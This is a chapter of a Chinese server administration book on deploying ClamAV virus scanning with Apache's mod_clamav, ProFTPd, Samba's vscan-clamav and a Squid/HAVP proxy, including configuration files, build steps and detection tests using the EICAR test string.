功能：指定临时目录，这个目录用于存放被扫描的临时文件。

ClamavDbdir

语法：ClamavDbdir virus-pattern-dir

默认值：使用ClamAV 的安装路径。

使用环境： server config, virtual host, directory

功能：设置病毒数据库所在的目录。

ClamavReloadInterval

语法：ClamavReloadInterval interval

默认值：0

使用环境：server config, virtual host, directory

功能：设置病毒数据库重新载入的时间间隔。如果设置为0，那么数据库从不重新载入，要想升级只能是重启服务。重新载入只有本地模式（local mode）才有必要, 在守护进程模式下，它会和ClamAV的病毒升级引擎保持一致。

ClamavTrickleInterval

语法：ClamavTrickleInterval interval

默认值：60

使用环境：server config, virtual host, directory

功能：设置时间间隔，这个间隔是指进来的一个 block（一般是指一字节，可以通过ClamavTrickleSize指令来设置）到发送至浏览器的时间间隔。如果浏览器能够容忍长时间的延时，那么这个值还可以增加。注意不同的浏览器有很大的不同。

ClamavTrickleSize

语法：ClamavTrickleSize size

默认值：1

使用环境：server config, virtual host, directory

功能：设置发送block的大小。

ClamavMaxfiles

语法：ClamavMaxfiles number-of-files

默认值：none

使用环境：server config, virtual host, directory

功能：设置扫描文件的最大数量。

ClamavMaxfilesize

语法：ClamavMaxfilesize filesize

默认值：none

使用环境：server config, virtual host, directory

功能：设置对文件大小的限制。

ClamavRecursion

语法：ClamavRecursion depth

默认值：none

使用环境：server config, virtual host, directory

功能：设置递归扫描的深度。

ClamavSafetypes

语法：ClamavSafetypes safe-mime-type ...

默认值：none

使用环境：server config, virtual host, directory

功能：指定安全的MIME 类型，指定类型的文件将不会被扫描，以便提高速度。

ClamavSafeURI

语法：ClamavSafetypes [ host | uri ] pattern

默认值：none

使用环境：server config, virtual host, directory

功能：设置安全的URI。

如果一个主机或者一些 URIs 是安全的，那么可以通过这条指令排除病毒扫描；使用host作为第一个参数，那么所有匹配的主机都会被排除病毒扫描；使用URI作为第一个参数，那么模式匹配的URI都将不再扫描。

例如：

ClamavSafeuri uri ^(f|ht)tp://safe-site\.net/safe-dir/.*\.gz$

ClamavSafeuri host ^safe\.site\.net$

ClamavSafeuri host safe-domain\.net$

ClamavSafepattern

语法：ClamavSafepattern tag [ pattern [ mask ] ]

默认值：none

使用环境：server config, virtual host, directory

功能：这个指令的功能是增加一个对象模式，对于匹配的模式将不做病毒扫描。

这个指令的优势在于，即使是一台Web服务器发出了错误的MIME类型的文件，那么Web服务器都会将其正确地分类。

'tag'是一个标识符，在启用调试时会被输出，标识符不必唯一。

如果不给定pattern，那么对象的前的16字节必须仅包含可打印的ASCII字符或者是TAB，CR和LF。“pattern”可以包含16个以上的字节，每个字节可以是可打印的字符或者是一个以“\x”开头的十六进制编码。

“mask”是一个位掩码，在“pattern”与数据比较之前，它会应用到对象数据。如果没有给定“mask”，那么默认的“mask”是“\xff”，将会对所有的“pattern”字节有效。如果给定的“mask”比“pattern”短，那么其余的“mask”将会由“\xff”替代。“mask”包含的字节一定不能多于“pattern”的字节数。

在mod_clamav的发布版本中，一个可使用的ClamavSafepattern指令被包含在一个叫safepatterns.conf的文件中。

ClamavSizelimit

语法：ClamavSizelimit size

默认值： 0

使用环境：server config, virtual host, directory

功能：设置文件被扫描的最大字节数。默认为 0，就是说对文件全部扫描，如果设置为一个正数，那么会下载并扫描相应的字节数。如果在这个值中没发现可疑情况，文件的剩余部分在下载中也将不会再扫描。

ClamavAcceptDaemonproblem

语法：ClamavAcceptDaemonproblem on | off

默认值：off

使用环境：server config, virtual host, directory

功能：如果设置为on，那么在守护进程接受文件时为ok。如果守护进程在检测文件时有问题，那么就会返回一个非正确的答复。

ClamavPermissions

语法：ClamavPermissions perms

默认值：0640

使用环境：server config, virtual host, directory

功能：设置临时文件的许可权限，权限使用十进制的数字标识。

ClamavShm

语法：ClamavShm shmfilename

默认值：/var/tmp/clamav.shm

使用环境：server config, virtual host, directory

功能：使用文件名指定共享内存的名字，以标识共享内存段。由于不同的 Apache 实例使用不同的共享内存段，所以这个名字必须配置。

ClamavMutex

语法：ClamavMutex mutexfilename

默认值：/var/tmp/clamav.lock

使用环境：server config, virtual host, directory

功能：指定使用互斥锁（mutex locking）的文件名。

ClamavMessage

语法：ClamavMessage message text

默认值：none

使用环境：server config, virtual host, directory

功能：设置自定义病毒通知信息。

注意下列的替代情况。

“%%”被“%”取代；

“%i”被mod_clamav的信息取代；

“%u”被请求的URI取代；

“%v”被检测出的病毒名取代。

参考mod_clamav解压包中附带的message.conf文件。

ClamavExtendedLogging

语法：ClamavExtendedLogging on | off

默认值： off

使用环境：server config, virtual host, directory

功能：扫描日志。如果打开日志，mod_clamav 会在日志中写入如下4 个额外的信息。

① clamav:status 部分可能的值有passed、bypassed、aborted、INFECTED 或者failed。

② clamav:details。

③ clamav:virusname。

④ clamav:longstatus。

这4个部分可以使用模块mod_logconfig来输出。

例如：定义为如下格式。

LogFormat "%t %!304{clamav:status}n %{clamav:virusname}n request=\"%r\", status=%>s,sent=%!304b, delay=%!304D" clamav_stats

CustomLog logs/scan_log clamav_stats

2．mod_clamav的配置文件

将mod_clamav包中的示例性配置文件拷贝到Apache的conf目录下，然后再在Apache的主配置文件httpd.conf中添加如下代码。

Include conf/mod_clamav.conf

编辑配置文件mod_clamav.conf。

[root@www conf]# vi /usr/local/apache2.0/conf/mod_clamav.conf

ClamavMode　daemon

ClamavPort　3310

LogFormat　"%t　%!304{clamav:status}n　%{clamav:details}n　%{clamav:virusname}n request=\"%r\", status=%>s, sent

=%!304b, delay=%!304D" clamav_stats

CustomLog logs/scan_log clamav_stats

ClamavTrickleInterval　10

ClamavTrickleSize　　1024

ClamavSizelimit　　1000000

ClamavShm　　/var/tmp/clamav.shm

ClamavMutex　/tmp/clamav.lock

ClamavTmpdir　/tmp/clamav

ClamavDbdir　usr/local/clamav/share/clamav/

ClamavSafetypes mmd image/gif image/jpeg image/png

ProxyRequests Off

<Proxy *>

Order deny,allow

Allow from all

</Proxy>

ProxyPass /a http://192.168.3.45:8080/

ProxyPassReverse /a http://192.168.3.45:8080/

<Proxy *>

SetOutputFilter CLAMAV

</Proxy>

<Location /clamav>

SetHandler clamav

</Location>

重新启动Apache。

[root@www htdocs]# /usr/local/apache2.0/bin/apachectl restart




13.1.5 测试mod_clamav


下面对两个有病毒的网页进行测试，同时打开以下3个日志文件如下。

ClamAV扫描日志：/tmp/clamd.log

mod_clamav扫描日志：/usr/local/apache2.0/logs/scan_log

Apache访问出错日志：/usr/local/apache2.0/logs/error_log

以便查看病毒的检测情况。

1．访问有病毒的网页

如图13.1所示，这是两个访问了被感染病毒后的网页的页面。在后面会谈到，该网页是由配置文件生成。

[image: figure_0219_0086]
图13.1 Apache的病毒检测页面



可以看出，带有病毒的网页被检测出，不能被下载。

2．查看日志

① ClamAV扫描日志

[root@www logs]# tail -f /tmp/clamd.log

Fri Apr 2 23:44:27 2010 -> /tmp/clamav/clamZE0EoG: myMalware.UNOFFICIAL FOUND

Fri Apr 2 23:44:43 2010 -> /tmp/clamav/clamr5Enho: Eicar-Test-Signature FOUND

可见病毒在“ClamavTmpdir/tmp/clamav”设置的目录中被发现。

② Mod_clamav 扫描日志

[root@www tmp]# tail -f /usr/local/apache2.0/logs/scan_log

[02/Apr/2010:23:44:27 +0800] --- request="GET /3.html HTTP/1.1", status=200, sent=293, delay=2082

[02/Apr/2010:23:44:43 +0800] --- request="GET /2.txt HTTP/1.1", status=200, sent=292, delay=1305

在扫描日志中看到了被延迟的时间（单位是微秒）。

③ Apache访问出错日志

[root@www logs]# tail -f /usr/local/apache2.0/logs/error_log

[Fri　Apr　02　23:44:27　2010]　[error]　[client　192.168.3.248]　[19522]　virusmyMalware.UNOFFICIAL found in request /3.html

[Fri　Apr　02　23:44:43　2010]　[error]　[client　192.168.3.248]　[19522]　virusEicar-Test-Signature found in request /2.txt

在访问出错日志中可以看到，由于访问了有病毒的文件而出错（客户端没有成功访问）。

3．查看mod_clamav模块状态

我们在mod_clamav的配置文件中设置了查看mod_clamav模块状态的目录clamav，于是通过http://192.168.3.138/clamav就可以查看它的工作状态如图13.2所示。

[image: figure_0220_0087]
图13.2 mod_clamav的工作状态



这个状态表分为如下3部分。

① 配置部分

显示了mod_clamav的版本号和进程模式；

② 状态部分

报告检测的病毒数，被检测的字节数等；

③ 最后被检测的十个病毒文件

显示的内容有访问时间、客户端IP、病毒名称（也包括输错提示）、URI和大小。

另外，状态报告中没有关于扫描文件使用CPU的时间，这是因为使用了守护进程模式（daemon mode）而没有办法来衡量花费CPU的时间。

4．相关文件message.conf和safepatterns.conf

① message.conf 文件

本文件的功能就是在客户端访问服务器时发现病毒并及时向客户发出提示，它的代码如下。

[root@mail mod_clamav-0.23]# more message.conf

#

# Sample virus message configuration, please check the configuration

# reference for ClamavMessage for details

#

# (c) 2004 Andreas Steinmetz, contributed to the mod_clamav project

# $Id: message.conf,v 1.1 2004/03/14 19:02:50 afm Exp $

#

<IfModule mod_clamav.c>

ClamavMessage "\

<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\">\

<html>\

<head>\

<title>%i found virus</title>\

</head>\

<body text=\"#000000\" bgcolor=\"#ffffff\">\

<basefont size=\"4\">\

<h1><center>%i found virus</center></h1>\

<p>The virus <b>%v</b> was found while downloading <i>%u</i>.\

The transfer has been aborted.</p>\

</basefont>\

</body>\

</html>\

"

</IfModule>

这就是图13.1 Apache 的病毒检测页面的HTML 代码。根据你自己的情况还可以对本文件进行修改，无非也就是让它变得更好看一些，或者是更恐怖、更有震慑力，或者是添加以下联系方式，以便客户及时向你报告发现病毒情况等。还有一点需要注意的是，该文的内容包含在“<IfModule mod_clamav.c>”和“</IfModule>”之内，修改的时候一定要注意这一点。

② safepatterns.conf 文件

该文件与指令ClamavSafepattern相关。在前面的指令列表中我们了解到增加了一个对象模式，对于匹配的模式将不做病毒扫描。

[root@mail mod_clamav-0.23]# more safepatterns.conf

#

# Start of ClamavSafepatterns

#

# The first entry matches all objects that contain only ASCII

# characters (0x20<=char<=0x74 qnd CR,LF,TAB) in the first

# 16 bytes. All other entries are derived from the magic

# patterns of the file(1) utility.

#

# (c) 2004 Andreas Steinmetz, contributed to the mod_clamav project

# $Id: safepatterns.conf,v 1.2 2004/03/18 23:36:20 afm Exp $

#

<IfModule mod_clamav.c>

# This pattern means that text is acceptable. This causes all .html (with

# java script included), all *.js and *.vbs to be bypassed. Maybe not

# very secure, hence switched of by default. BTW, with this enabled

# eicar.com will no longer be recognized, as eicar.com is a text file.

#ClamavSafepattern text

# with some paranoia, you will not trust a PDF, since at least in principle

# it has the ability to run certain scripts

ClamavSafepattern pdf "%PDF"

ClamavSafepattern dvi "\xf7\x02"

# image formats are quite safe

ClamavSafepattern jpeg-jfif "\xff\xf8\x00\x00\x00\x00JFIF" "\xff\xff\x00\x00\x00\x00"

ClamavSafepattern jpeg-exif "\xff\xf8\x00\x00\x00\x00Exif" "\xff\xff\x00\x00\x00\x00"

ClamavSafepattern jpeg-2000 "\x00\x00\x00\x0c\x6a\x50\x20\x20\x0d\x0a\x87\x0a"

ClamavSafepattern gif87a "GIF87a"

ClamavSafepattern gif89a "GIF89a"

ClamavSafepattern png "\x89PNG\x0d\x0a\x1a\x0a"

# streaming formats: they are a real pain with trend micro viruswall

ClamavSafepattern mpeg-video "\x00\x00\x01\xb3"

ClamavSafepattern mpeg-system "\x00\x00\x01\xba"

ClamavSafepattern mpeg-transport "\x47\x40\x00\x10" "\xff\x5f\xff\x1f"

ClamavSafepattern mpeg1-l3 "\xff\xfa" "\xff\xfe"

ClamavSafepattern mpeg1-l2 "\xff\xfc" "\xff\xfe"

ClamavSafepattern mpeg2-l3 "\xff\xf2" "\xff\xfa"

ClamavSafepattern mpeg2-l2 "\xff\xf4" "\xff\xfc"

ClamavSafepattern dif "\x1f\x07\x00"

ClamavSafepattern asf "\x30\x26\xb2\x75"

ClamavSafepattern mng "\x8aMNG\x0d\x0a\x1a\x0a"

ClamavSafepattern riff "RIFF"

ClamavSafepattern ogg "OggS"

ClamavSafepattern realaudio "\x2e\x72\x61\xfd"

ClamavSafepattern realmedia ".RMF"

ClamavSafepattern midi "MThd"

ClamavSafepattern quicktime "MOVI"

ClamavSafepattern quicktime "moov"

ClamavSafepattern quicktime "mdat"

ClamavSafepattern flash "FWS"

ClamavSafepattern smjpeg "\x00\x0aSMJPEG"

ClamavSafepattern flac "fLaC"

ClamavSafepattern sunaudio ".snd"

ClamavSafepattern decaudio "\x2e\x73\x64\x00"

ClamavSafepattern mp3-id3v2 "ID3"

ClamavSafepattern nesaudio "NESM\x1a"

ClamavSafepattern ac3 "\x0b\x77"

ClamavSafepattern iff "FORM"

ClamavSafepattern tiff-le "II\x2a\x00"

ClamavSafepattern tiff-be "MM\x00\x2a"

ClamavSafepattern miff "id=ImageMagick"

ClamavSafepattern bmp "BM"

# There does exist some Java malware, so you may not want to enable this,

# it is turned of by default

#ClamavSafepattern java "\xca\xfe\xba\xbe"

</IfModule>

#

# End of ClamavSafepatterns

#

我们分析一下这个文件。

首先它是以“<IfModule mod_clamav.c>”开始，而以“</IfModule>”结束。换句话说就是你所定义的一个ClamavSafepattern指令序列都要包含在这两个指令之间。另外我们注意到这条指令“#ClamavSafepattern text”被注释掉。它说的很清楚，如果我们使用了这条指令，那么会出现这样一种可能：由于很多使用脚本语言（例如*.js 和*.vbs）编写的病毒都是以文本的格式嵌入在.html文件中。因此如果对文本形式的文件不进行检测，将会引起不安全，因此默认的配置文件将其注释。另外还有一点需要说明的是在测试阶段要将其注释，因为测试病毒时可能会使用到eicar.com提供的样本病毒，它是一个文本文件，如果你使用了“ClamavSafepattern text”，那么该文件将不再检查，而作为文件被通过检查。

其次，我们能看出，该文件基本上是对影像音这三类文件作了模式匹配，对于匹配的模式将不再进行扫描。根据现在的情况，这三类文件并非不带病毒，而且攻击者也可以使用它们进行攻击。

因此，要妥善地增减每一条指令。




13.2 Proftp与Clamd


这里不是研究Proftp的用法，有关Proftp的用法请参考其他资料。本部分通过Clamd监控扫描Proftp服务器，以便及时地将用户上传的病毒文件拒之门外。




13.2.1 概述


在当前的版本中mod_clamav需要ClamAV软件的Clamd。mod_clamav可以配置为使用本地UNIX 套接字（local UNIX sockets）或者是TCP sockets。这是两种不同的使用方法，如果使用本地UNIX套接字，那么就必须在本机上安装ClamAV 软件；如果使用TCP sockets，那么可以和一台专门的ClamAV服务器连接。因此，在管理和扩展上会有很大的不同，使用本地UNIX套接字方便管理但是不容易扩展。如果有多台ProFTPd服务器，那么需要在每台服务器上都装有ClamAV软件，这会浪费很多资源，例如带宽，每台服务器都必须定时更新病毒库，管理人员等；如果使用TCP sockets 那么扩展会变的容易，只要有一台clamd 服务器就可以了。

在ProFTPd中使用Chroot功能时，如果ClamAV提供了UNIX套接字，那么强烈推荐避免使用UNIX套接字（socket）连接，也就是在Proftp的配置文件中不使用ClamLocalSocket指令。

原因很简单，如果因为任何原因导致mod_clamav需要重新连接Clamd，而实际上UNIX socket不支持chrooted环境。

从0.10版本开始，在一个FTP会话的开始，mod_clamav就不再连接clamd，而是等待直到传输完成后再处理连接。这么改变有如下两个原因。

① 性能和可扩展性——在高负荷的环境，很浪费资源；

② 更好的支持配置指令（像IfUser和IfGroup）和适当的合并配置指令。

附加功能如下。

① HiddenStore 支持；

② 支持Chroot环境；

③ 向远程客户端报告检测出的病毒和ProFTPd日志记录；

④ 支持Clamd TCP 套接字；

⑤ 支持Clamd UNIX 套接字；

⑥ 支持重新连接时自动选择TCP/UNIX 套接字；

⑦ 设定被扫描文件的最小（Minimum）和最大（Maximum）值；

⑧ 记录ProFTPd 配置时附加调试信息，调试级别为level 4 或以上；

⑨ 配置简单；

⑩ 优雅的失败（Graceful failures）—如果有任何错误发生（包括连接clamd 失败），mod_clamav总是会将问题记录到日志并且不再执行扫描。




13.2.2 编译安装


1．下载解压

需要注意，这里的 mod_clamav 和讲 Apache 中用的 mod_clamav 不是同一个，这里的mod_clamav只包含3个文件。

[root@www tar]#wget http://www.sfr-fresh.com/UNIX/privat/ \

> mod_clamav-0.11rc.tar.gz

[root@www tar]# tar -zxvf mod_clamav-0.11rc.tar.gz

mod_clamav-0.11rc/

mod_clamav-0.11rc/mod_clamav.c

mod_clamav-0.11rc/mod_clamav.h

mod_clamav-0.11rc/proftpd.patch

[root@www ～]# wget ftp://ftp1.at.proftpd.org/ProFTPD/　\

> distrib/source/proftpd-1.3.3.tar.gz

[root@www ～]tar -zxvf proftpd-1.3.3.tar.gz

[root@www ～]cd proftpd-1.3.3

[root@www proftpd-1.3.3]#

2．打补丁

由于mod_clamav在Proftp中是以模块形式安装的，所以首先要将相应的文件拷贝入contrib目录，然后再利用mod_clamav提供的proftpd.patch打补丁。

[root@www proftpd-1.3.3]# cp /usr/src/tar/mod_clamav-0.11rc/mod_clamav.* ./contrib/

[root@www proftpd-1.3.3]# patch -p1 < /usr/src/tar/mod_clamav-0.11rc/proftpd.patch

patching file modules/mod_xfer.c

Hunk #1 succeeded at 52 with fuzz 1 (offset 10 lines).

Hunk #2 succeeded at 1721 (offset 137 lines).

3．编译安装

[root@www proftpd-1.3.3]# ./configure --prefix=/usr/local/proftpd --with-modules=mod_clamav

[root@www proftpd-1.3.3]# make

[root@www proftpd-1.3.3]# make install

查看mod_clamav的支持情况。

[root@www mod_clamav-0.11rc]# /usr/local/proftpd2/sbin/proftpd -vv

ProFTPD Version: 1.3.3 (stable)

Scoreboard Version: 01040003

Built: Mon Apr 5 2010 09:38:22 CST

Loaded modules:

mod_cap/1.0

mod_clamav.c

mod_auth_pam/1.1

mod_ident/1.0

mod_facts/0.1

mod_delay/0.6

mod_site.c

mod_log.c

mod_ls.c

mod_auth.c

mod_auth_file/0.8.3

mod_auth_UNIX.c

mod_xfer.c

mod_core.c

其中的粗体字表示已经作为模块添加到Proftp中。




13.2.3 mod_clamav的配置


mod_clamav通过在ProFTPd配置文件中使用指令达到检测病毒的功能。

1．配置文件指令见表13.1。


表13.1 mod_clamav配置文件指令

[image: figure_0225_0088]



续表

[image: figure_0226_0089]


2．配置文件

在配置文件/usr/local/proftpd2/etc/proftpd.conf中添加如下指令。

<Global>

<IfModule mod_clamav.c>

ClamAV on

ClamLocalSocket "/tmp/clamd.socket"

</IfModule>

</Global>




13.2.4 抗病毒功能测试


在客户端上传一个有病毒的文件，同时监控clamd的日志文件/tmp/clamd.log。

使用命令行客户端上传文件。

[mm@www htdocs]$ ftp -d 192.168.3.138

Connected to 192.168.3.138.

220 ProFTPD 1.3.3 Server (ProFTPD Default Installation) [192.168.3.138]

---> AUTH GSSAPI

500 AUTH not understood

---> AUTH KERBEROS_V4

500 AUTH not understood

KERBEROS_V4 rejected as an authentication type

Name (192.168.3.138:mm):

---> USER mm

331 Password required for mm

Password:

---> PASS XXXX

230 User mm logged in

---> SYST

215 UNIX Type: L8

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> put phpspy_2008.rar

local: phpspy_2008.rar remote: phpspy_2008.rar

---> TYPE I

200 Type set to I

ftp: setsockopt (ignored): Permission denied

---> PASV

227 Entering Passive Mode (192,168,3,138,242,106).

---> STOR phpspy_2008.rar

150 Opening BINARY mode data connection for phpspy_2008.rar

550 Virus Detected and Removed: PHP.ShellExec

19341 bytes sent in 8.7e-05 seconds (2.2e+05 Kbytes/s)

ftp>

监控clamd日志。

[root@www ～]# tail -f /tmp/clamd.log

Mon Apr 5 10:41:36 2010 -> /home/mm/phpspy_2008.rar: PHP.ShellExec FOUND

可以看出无论是客户端还是clamd的日志中均提示了病毒文件被删除。




13.3 Samba与ClamAV


Samba 3.5.1 在2010 年3月8 日已发布，可是http://www.openantivirus.org/projects.php 一直没有推出针对新版本的vscan-clamav，见下面的截图13.3。

[image: figure_0227_0090]
图13.3 samba-vscan截图



所以还得用Samba 3.0.xx版本。不过没关系，作为共享该版本已经足够了（如果用Samba 做域服务器，也不会在域服务器上共享）。由于vscan-clamav的安装需要Samba的源代码，所以在此也顺便讲一下 Samba 的安装。正是由于编译时需要 Samba 源代码，所以对版本有要求。vscan-clamav与Samba的结合最终是通过模块vscan-clamav.so来实现。




13.3.1 概述


使用vscan-clamav 的目的是在Linux和Windows共存环境中，Linux为Windows提供共享存储，而从Windows端将病毒或木马等恶意软件带入Linux端。使用vscan-clamav调用了ClamAV软件进行病毒检测，如果有病毒感染的文件既可以把感染的文件删除，也可以把它隔离。这样既保护了Linux服务器端，也保护了其他无辜的Windows客户端。在实际的应用中，使用Linux作为Windows的文件服务器，如果在Linux端使用杀毒功能，往往这台Linux服务器就成为“病毒窝”，会让很多无辜的访问者受到重复的病毒感染。

下面的一个案例是技术部为用户提供共享存储的实际情况。服务器端，也就是提供共享端，采用了Linux系统（如果采用Windows没几天就倒掉了），客户端均为Windows。




13.3.2 下载并安装Samba


在Linux系统下安装任何一款软件之前，最好（或者是必须）进行验证，然后才可以安装。

1．下载Samba安装文件、公钥及其公钥PGP签名。

[root@ samba ～]#wget http://www.samba.org/samba/ftp/old-versions/samba-3.0.37.tar.gz

[root@ samba ～]#wget http://www.samba.org/samba/ftp/old-versions/ samba-3.0.37.tar.asc

[root@ samba ～]#wget http://www.samba.org/samba/ftp/samba-pubkey.asc

2．验证安装包。

[root@samba ～]# gpg --import samba-pubkey.asc

gpg: key 6568B7EA: public key "Samba Distribution Verification Key <samba-bugs@samba. org>" imported

gpg: Total number processed: 1

gpg:　　　imported: 1

[root@ samba ～]# gunzip samba-3.0.37.tar.gz

[root@ samba ～]# gpg --verify samba-3.0.37.tar.asc

gpg: Signature made Thu Oct 1 15:32:46 2009 CST using DSA key ID 6568B7EA

gpg: Good signature from "Samba Distribution Verification Key <samba-bugs@samba.org>"

3．安装Samba。

[root@ samba ～]# tar -zxvf samba-3.0.37.tar.gz

[root@ samba ～]#cd samba-3.0.37/ source/

[root@ samba source]# ./configure

[root@ samba source]# make

[root@ samba source]# make install

[root@ samba source]#cd /usr/local/samba/

[root@ samba samba]#mkdir etc

默认的安装目录在/usr/local/samba/，需要注意的是这个目录下没有etc目录，因此需要手动建立。




13.3.3 安装samba-vscan


在安装samba-vscan时需要Samba的源代码，因此还需要上面的安装包。

[root@ samba ～]#cd samba-3.0.37/ source/

[root@ samba source]# ./configure

[root@ samba source]# make proto

[root@ samba source]#cd

[root@ samba ～]# cd samba-vscan-0.3.6c-beta5

[root@www samba-vscan-0.3.6c-beta5]# ./configure --with-samba-source=/root/samba-3.0.37/source/

[root@www samba-vscan-0.3.6c-beta5]# cp vscan-clamav.so /usr/local/samba/lib/vfs

[root@www samba-vscan-0.3.6c-beta5]# cp clamav/vscan-clamav.conf /usr/local/samba/ etc/




13.3.4 配置文件


samba-vscan使用独立的配置文件来管理扫描选项。通过samba-vscan的配置文件来配置这些选项，以达到管理扫描的要求，因此弄清楚配置文件中各个参数的功能很重要。

1．vscan-clamav.conf中的参数及参数值

在配置文件中参数格式如下。

参数=值

值的类型见表13.2。


表13.2 vscan-clamav.conf变量取值类型表

[image: figure_0228_0091]


变量见表13.3和表13.4：


表13.3 vscan-clamav.conf的变量1

[image: figure_0229_0092]


如果 vscan-clamav 使用 clamav 库（libclamav），而不是 clamd，那么下列选项被用来限制libclamav，见表13.4。


表13.4 vscan-clamav.conf的变量2

[image: figure_0229_0093]


2．配置文件vscan-clamav.conf

在这个配置文件中使用“；”作为注释符，所以“；”开头的行均被忽略。

[samba-vscan]

max file size = 0

verbose file logging = yes

scan on open = yes

scan on close = yes

deny access on error = yes

deny access on minor error = yes

send warning message = yes

infected file action = delete

quarantine directory = /tmp

quarantine prefix = vir-

max lru files entries = 100

lru file entry lifetime = 5

exclude file types =

exclude file regexp =

clamd socket name = /tmp/clamd.socket

libclamav max files in archive = 1000

libclamav max archived file size = 10485760

libclamav max recursion level = 5

3．Samba配置文件

在保持原有的Samba配置文件smb.conf不变的基础上，添加如下内容（添加到配置文件中的[global]部分）。

vfs object = vscan-clamav

vscan-clamav: config-file = /usr/local/clamav/etc/samba/vscan-clamav.conf




13.3.5 运行samba及clamd进程


运行clamd如下。

[root@ samba ～]# /usr/local/clamav/sbin/clamd

运行samba如下。

[root@ samba ～]#/usr/local/samba/sbin/smbd -D -s /usr/local/samba/etc/smb.conf




13.3.6 检查日志看启动情况


查看clamd启动日志。

[root@ samba ～]#tail -f /tmp/clamd.log

Mon Mar 22 15:08:32 2010 -> +++ Started at Mon Mar 22 15:08:32 2010

Mon Mar 22 15:08:32 2010 -> clamd daemon 0.95.3 (OS: linux-gnu, ARCH: i386, CPU: i686)

Mon Mar 22 15:08:32 2010 -> Log file size limited to 1048576 bytes.

Mon Mar 22 15:08:32 2010 -> Reading databases from /usr/local/clamav/share/clamav

Mon Mar 22 15:08:32 2010 -> Not loading PUA signatures.

Mon Mar 22 15:08:36 2010 -> Loaded 734201 signatures.

Mon Mar 22 15:08:36 2010 -> LOCAL: Removing stale socket file /tmp/clamd.socket

Mon Mar 22 15:08:36 2010 -> LOCAL: UNIX socket file /tmp/clamd.socket

Mon Mar 22 15:08:36 2010 -> LOCAL: Setting connection queue length to 15

Mon Mar 22 15:08:36 2010 -> Limits: Global size limit set to 104857600 bytes.

Mon Mar 22 15:08:36 2010 -> Limits: File size limit set to 26214400 bytes.

Mon Mar 22 15:08:36 2010 -> Limits: Recursion level limit set to 16.

Mon Mar 22 15:08:36 2010 -> Limits: Files limit set to 10000.

Mon Mar 22 15:08:36 2010 -> Archive support enabled.

Mon Mar 22 15:08:36 2010 -> Algorithmic detection enabled.

Mon Mar 22 15:08:36 2010 -> Portable Executable support enabled.

Mon Mar 22 15:08:36 2010 -> ELF support enabled.

Mon Mar 22 15:08:36 2010 -> Mail files support enabled.

Mon Mar 22 15:08:36 2010 -> OLE2 support enabled.

Mon Mar 22 15:08:36 2010 -> PDF support enabled.

Mon Mar 22 15:08:36 2010 -> HTML support enabled.

Mon Mar 22 15:08:36 2010 -> Self checking every 600 seconds.

Mon Mar 22 15:08:36 2010 -> Clamuko: Correctly registered with Dazuko.

Mon Mar 22 15:08:36 2010 -> Clamuko: Scan-on-open mode activated.

Mon Mar 22 15:08:36 2010 -> Clamuko: Scan-on-close mode activated.

Mon Mar 22 15:08:36 2010 -> Clamuko: Scan-on-exec mode activated.

检查samba监听端口如下。

[root@samba en]# lsof -i:139

COMMAND　PID USER　FD　TYPE　DEVICE SIZE NODE NAME

smbd　　29807 root　20u　IPv4　1362651016　　TCP *:netbios-ssn (LISTEN)

可以看得出均已正确启动。




13.3.7 抗病毒功能测试


为了检查是否有检测病毒的功能，在vscan-clamav.conf中修改系列参数如下。

"infected file action= quarantine"

"quarantine directory=/virus"

测试完成后可以再改回去。

1．读samba共享文件

在共享的目录中放入一个有病毒特征的文件。

[root@ samba cvb]# vi 1.txt

X5O!P%@AP[4\PZX54(P^)7CC]7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

然后在Windows客户端（网上邻居）访问共享（为了测试只能先将客户端的杀毒软件关闭）。然后再查看clamd的日志文件。

[root@ samba ～]#tail -f /tmp/clamd.log

…..

Mon Mar 22 15:49:42 2010 -> /samba/cvb/1.txt: Eicar-Test-Signature FOUND

可见病毒文件被发现，再查看为病毒文件设置的隔离目录。

[root@ samba virus]# ll

total 4

-rw-r--r-- 1 root root 69 Mar 22 15:48 vir-hMgvEC

2．写samba共享文件

在Windows客户端访问samba共享，在Linux下打开clamd日志，然后将一个有病毒的文件放入samba共享目录（Windows系统中称为文件夹）。

[root@www ～]# tail -f /tmp/clamd.log

Tue Mar 23 09:37:02 2010 -> /samba/cvb/8.txt: Eicar-Test-Signature FOUND

Tue Mar 23 09:37:26 2010 -> /samba/cvb/8.txt: Eicar-Test-Signature FOUND

Tue Mar 23 09:38:08 2010 -> /samba/cvb/9.txt: Eicar-Test-Signature FOUND

放了两次，也被杀了两次。查看隔离目录如下。

[root@ samba virus]# ll

total 12

-rwxrw-r--　1 nobody nobody 79 Mar 23 09: 37 vir-RyualB

-rwxrw-r--　1 nobody nobody 70 Mar 23 09:37: vir-Xe0xdz

-rwxrw-r--　1 nobody nobody 70 Mar 23 09:38: vir-lSkSwu




13.4 Squid与ClamAV


HAVP（HTTP AntiVirus proxy）是一个反病毒过滤代理，它并不缓存或者过滤内容，而是即时的完整流量扫描。它通过调用ClamAV反病毒软件来扫描文件。




13.4.1 概述


Squid与Clamd的结合是通过HAVP完成的，让HAVP做Squid的父代理，而HAVP通过调用Clamd来反病毒。

这里是一个为近200左右的用户（机器）提供代理服务上网的案例。服务器是一台Dell2950，配置为两个双核CPU，也就是4 个处理器，内存4G。HAVP使用了独立的磁盘作为扫描临时文件用，磁盘接口是SAS，容量1T。

在服务器上原来安装的是havp-0.88，clamav是0.92，这是当年（2007）的新版本，后来做的升级。由于编译器的原因，在RED HATAS5 上安装havp-0.91 可能会有些困难。如果读者所在的系统安装havp-0.91有问题，那么可以安装havp-0.88。

需要注意的是HAVP不支持HTTPS。

1．图解

让HAVP作为Squid的父代理，HAVP再调用clamd守护进程（或libclamav库）进行病毒扫描，这样在用户请求的数据到达Squid服务器之前就被clamd扫描过了。

这图13.4是HAVP的示意图（图片来自互联网）。

[image: figure_0232_0094]
图13.4 HAVP的示意图



2．HAVP的主要目标

HTTP 病毒扫描代理；

同时支持多个扫描器；

扫描完整的进站流量（incomming traffic）；

非阻塞下载；

动态的光滑扫描（Smooth scanning）和密码保护流量；

能够使用squid或其他代理；

支持父代理；

支持透明代理；

支持日志文件；

支持改变运行的用户和组；

支持守护进程（Daemon）模式；

使用ClamAV；

支持Linux操作系统；

使用C++编写；

遵循GPL。

3．HAVP设计原理

HAVP 向服务器中的临时文件中写数据，并且硬锁（hard locks）文件的结尾，然后第二个子进程（fork）开始扫描所有写入文件的数据。再将这段时间内的数据发送给客户端。并不是将所有的数据都发送给客户端，这和配置文件中的定义有关。

